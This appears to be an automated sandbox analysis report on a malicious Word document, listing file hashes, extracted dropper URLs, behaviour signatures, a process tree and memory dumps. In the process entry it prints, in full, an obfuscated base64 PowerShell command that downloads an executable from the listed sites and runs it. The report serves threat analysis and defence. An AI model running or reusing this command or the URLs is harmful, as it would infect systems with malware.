Analysis

  • max time kernel
    148s
  • max time network
    154s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20/11/2024, 11:13

General

  • Target

    E1-20200929_123100.doc

  • Size

    169KB

  • MD5

    d2471082d81a3ab5c53bb279561e2223

  • SHA1

    3a0d4977c293ed24b954ce11b1ab2358209811d7

  • SHA256

    735040fdbf1b513dfe79b4c6485de58b176dba061ef76dd8a0cb42e8161551b4

  • SHA512

    e61365bc2042d9d7cd310df3fbf813483588eafe80d020d45ebeb2c6a3f89462385cd1ccd1d949ebf896a7fafc7b5e5f37d0936b0caa97dff584229a05f2d71c

  • SSDEEP

    3072:R9ufstRUUKSns8T00JSHUgteMJ8qMD7gZEFESXiNBaZxPIR:R9ufsfgIf0pLiFESXiNIZxQR

Score
10/10

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

http://shop.qihchina.com/validators/8/

exe.dropper

http://skoolkam.com/blog/5ji/

exe.dropper

http://shopmebom.webdungsan.com/wp-admin/1Oy/

exe.dropper

http://demo77.webdungsan.com/wp-admin/6m/

exe.dropper

https://wyyichen.com/wp-includes/W0N/

exe.dropper

http://94.24.72.63/wp-content/te/

exe.dropper

http://topupez.info/wp-includes/DEr/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 11 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\E1-20200929_123100.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3280
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABRAHYAMABsAG4ANAA1AD0AKAAnAFEAOQAnACsAKAAnAHkAagA4ACcAKwAnAG0AOQAnACkAKQA7ACYAKAAnAG4AZQB3AC0AJwArACcAaQAnACsAJwB0AGUAbQAnACkAIAAkAEUAbgB2ADoAVQBzAGUAUgBwAHIATwBmAGkATABlAFwARAA1AFUAMABoAEYAMwBcAGwAdABWAEsATwBNAGUAXAAgAC0AaQB0AGUAbQB0AHkAcABlACAARABpAHIAZQBjAHQAbwByAFkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAFMARQBjAGAAVQBSAGkAVABZAFAAUgBgAE8AYABUAGAATwBDAG8ATAAiACAAPQAgACgAKAAnAHQAJwArACcAbABzADEAJwApACsAJwAyACwAJwArACgAJwAgAHQAbAAnACsAJwBzADEAJwApACsAJwAxACwAJwArACgAJwAgAHQAbAAnACsAJwBzACcAKQApADsAJABFAHEAbABpAGQAXwByACAAPQAgACgAKAAnAFcAeQAnACsAJwBsACcAKQArACgAJwBpAHgAJwArACcAdgA1ACcAKQArACcAagAzACcAKQA7ACQAUQAyAGYANQB0ADYAbAA9ACgAJwBPACcAKwAoACcAcwAnACsAJwBiAGcAJwApACsAKAAnAHQAbQAnACsAJwBfACcAKQApADsAJABLAHUANQBkAGoAMQBkAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACgAKAAnAHsAJwArACcAMAB9AEQAJwArACcANQB1ADAAaABmADMAewAwAH0ATAB0AHYAawBvAG0AZQB7ACcAKwAnADAAfQAnACkALQBmACAAIABbAEMAaABBAFIAXQA5ADIAKQArACQARQBxAGwAaQBkAF8AcgArACgAJwAuAGUAJwArACcAeABlACcAKQA7ACQASQBqAHMAcwA1AGQAdgA9ACgAJwBLACcAKwAnADEAJwArACgAJwBhADcAYQAnACsAJwBjADIAJwApACkAOwAkAFYAZwB3AG4ANgBoADgAPQAmACgAJwBuAGUAJwArACcAdwAtACcAKwAnAG8AYgBqAGUAYwB0ACcAKQAgAE4ARQBUAC4AdwBFAEIAQwBsAGkAZQBOAHQAOwAkAE4AMQA2ADUAMQBoAHUAPQAoACcAaAAnACsAJwB0ACcAKwAnAHQAcAAnACsAKAAnADoALwAvACcAKwAnAHMAaAAnACsAJwBvAHAALgBxAGkAJwApACsAKAAnAGgAYwBoAGkAbgBhACcAKwAnAC4AJwArACcAYwAnACkAKwAoACcAbwAnACsAJwBtACcAKwAnAC8AdgBhAGwAaQBkAGEAJwApACsAJwB0ACcAKwAoACcAbwAnACsAJwByAHMALwAnACkAKwAoACcAOAAvACoAJwArACcAaAAnACkAKwAoACcAdAAnACsAJwB0AHAAJwArACcAOgAvAC8AcwBrAG8AJwArACcAbwBsAGsAYQBtACcAKQArACcALgBjACcAKwAoACcAbwAnACsAJwBtAC8AJwArACcAYgBsAG8AJwArACcAZwAvADUAagAnACkAKwAoACcAaQAvACoAaAAnACsAJwB0AHQAcAAnACsAJwA6AC8ALwAnACsAJwBzACcAKQArACgAJwBoACcAKwAnAG8AcAAnACkAKwAoACcAbQAnACsAJwBlAGIAbwBtACcAKQArACcALgB3ACcAKwAoACcAZQBiAGQAdQAnACsAJwBuACcAKwAnAGcAcwAnACkAKwAoACcAYQAnACsAJwBuAC4AYwBvACcAKQArACgAJwBtAC8AdwAnACsAJwBwAC0AYQAnACsAJwBkAG0AJwApACsAKAAnAGkAJwArACcAbgAvACcAKQArACgAJwAxAE8AeQAvACoAJwArACcAaAAnACsAJwB0ACcAKwAnAHQAcAA6AC8ALwAnACkAKwAoACcAZABlAG0AJwArACcAbwAnACkAKwAnADcAJwArACcANwAuACcAKwAnAHcAJwArACcAZQAnACsAJwBiACcAKwAoACcAZAAnACsAJwB1AG4AZwAnACkAKwAnAHMAYQAnACsAJwBuACcAKwAoACcALgBjACcAKwAnAG8AbQAnACsAJwAvAHcAJwApACsAJwBwACcAKwAnAC0AJwArACgAJwBhAGQAbQAnACsAJwBpAG4ALwA2ACcAKQArACgAJwBtAC8AJwArACcAKgAnACsAJwBoAHQAdABwAHMAJwArACcAOgAvAC8AdwB5AHkAaQBjAGgAZQAnACsAJwBuAC4AYwBvACcAKQArACcAbQAnACsAKAAnAC8AdwBwACcAKwAnAC0AaQBuAGMAJwArACcAbAAnACkAKwAoACcAdQBkAGUAcwAvAFcAMABOAC8AJwArACcAKgBoACcAKwAnAHQAJwApACsAKAAnAHQAcAA6AC8AJwArACcALwA5ACcAKQArACgAJwA0ACcAKwAnAC4AMgAnACkAKwAoACcANAAnACsAJwAuACcAKwAnADcAMgAuADYAMwAvACcAKQArACgAJwB3ACcAKwAnAHAALQAnACsAJwBjAG8AbgB0AGUAJwApACsAKAAnAG4AdAAvACcAKwAnAHQAZQAnACkAKwAoACcALwAqAGgAJwArACcAdAAnACkAKwAoACcAdABwADoAJwArACcALwAvAHQAbwAnACsAJwBwAHUAcABlAHoAJwApACsAKAAnAC4AaQAnACsAJwBuAGYAbwAnACkAKwAoACcALwAnACsAJwB3AHAALQBpAG4AJwArACcAYwBsAHUAJwApACsAJwBkACcAKwAnAGUAcwAnACsAJwAvACcAKwAoACcARAAnACsAJwBFAHIALwAnACkAKQAuACIAUwBQAGAAbABJAHQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABOAGsAZgBkAHkANABwAD0AKAAnAFkAaQAnACsAJwAzAHAAJwArACgAJwA2AHoAJwArACcAZgAnACkAKQA7AGYAbwByAGUAYQBjAGgAKAAkAFgAbgB2AHEAYwBnAHQAIABpAG4AIAAkAE4AMQA2ADUAMQBoAHUAKQB7AHQAcgB5AHsAJABWAGcAdwBuADYAaAA4AC4AIgBkAGAATwB3AG4AYABsAE8AYQBEAGAARgBJAEwAZQAiACgAJABYAG4AdgBxAGMAZwB0ACwAIAAkAEsAdQA1AGQAagAxAGQAKQA7ACQARwA3AGoAdgAzAGoAawA9ACgAKAAnAEUAJwArACcAcQBwACcAKQArACgAJwA0ACcAKwAnADUAcQB4ACcAKQApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0ACcAKwAnAC0ASQAnACsAJwB0AGUAbQAnACkAIAAkAEsAdQA1AGQAagAxAGQAKQAuACIATABgAEUATgBHAHQASAAiACAALQBnAGUAIAAzADAAMgA1ADcAKQAgAHsALgAoACcASQBuAHYAbwBrAGUAJwArACcALQBJAHQAZQAnACsAJwBtACcAKQAoACQASwB1ADUAZABqADEAZAApADsAJABJAHkAagBoADgAZAB0AD0AKAAoACcAUgB1AHYAbQAnACsAJwBmACcAKQArACcANQB6ACcAKQA7AGIAcgBlAGEAawA7ACQAQgB4AGYANABnADkAagA9ACgAKAAnAFAAJwArACcAOAAnACsAJwBoAG8AdwBfACcAKQArACcAcwAnACkAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAEcAeQB0AGIAOAAzAG0APQAoACcAUwAyACcAKwAnAGQAMQAnACsAKAAnAHoAJwArACcAaQBhACcAKQApAA==
    1⤵
    • Process spawned unexpected child process
    • Blocklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:556

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_4ighvgi5.qs4.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • C:\Users\Admin\AppData\Roaming\Microsoft\UProof\CUSTOM.DIC

    Filesize

    16B

    MD5

    d29962abc88624befc0135579ae485ec

    SHA1

    e40a6458296ec6a2427bcb280572d023a9862b31

    SHA256

    a91a702aab9b8dd722843d3d208a21bcfa6556dfc64e2ded63975de4511eb866

    SHA512

    4311e87d8d5559248d4174908817a4ddc917bf7378114435cf12da8ccb7a1542c851812afbaf7dc106771bdb2e2d05f52e7d0c50d110fc7fffe4395592492c2f

  • memory/556-79-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/556-555-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/556-107-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/556-85-0x0000027BA4100000-0x0000027BA4122000-memory.dmp

    Filesize

    136KB

  • memory/3280-20-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-3-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

    Filesize

    64KB

  • memory/3280-16-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-0-0x00007FFEDFB0D000-0x00007FFEDFB0E000-memory.dmp

    Filesize

    4KB

  • memory/3280-22-0x00007FFE9D620000-0x00007FFE9D630000-memory.dmp

    Filesize

    64KB

  • memory/3280-23-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-21-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-19-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-18-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-14-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-13-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-11-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-6-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

    Filesize

    64KB

  • memory/3280-5-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-4-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

    Filesize

    64KB

  • memory/3280-17-0x00007FFE9D620000-0x00007FFE9D630000-memory.dmp

    Filesize

    64KB

  • memory/3280-2-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

    Filesize

    64KB

  • memory/3280-1-0x00007FFE9FAF0000-0x00007FFE9FB00000-memory.dmp

    Filesize

    64KB

  • memory/3280-35-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-36-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-15-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-12-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-8-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-10-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-97-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-96-0x00007FFEDFB0D000-0x00007FFEDFB0E000-memory.dmp

    Filesize

    4KB

  • memory/3280-98-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-99-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-105-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-106-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-9-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB

  • memory/3280-7-0x00007FFEDFA70000-0x00007FFEDFC65000-memory.dmp

    Filesize

    2.0MB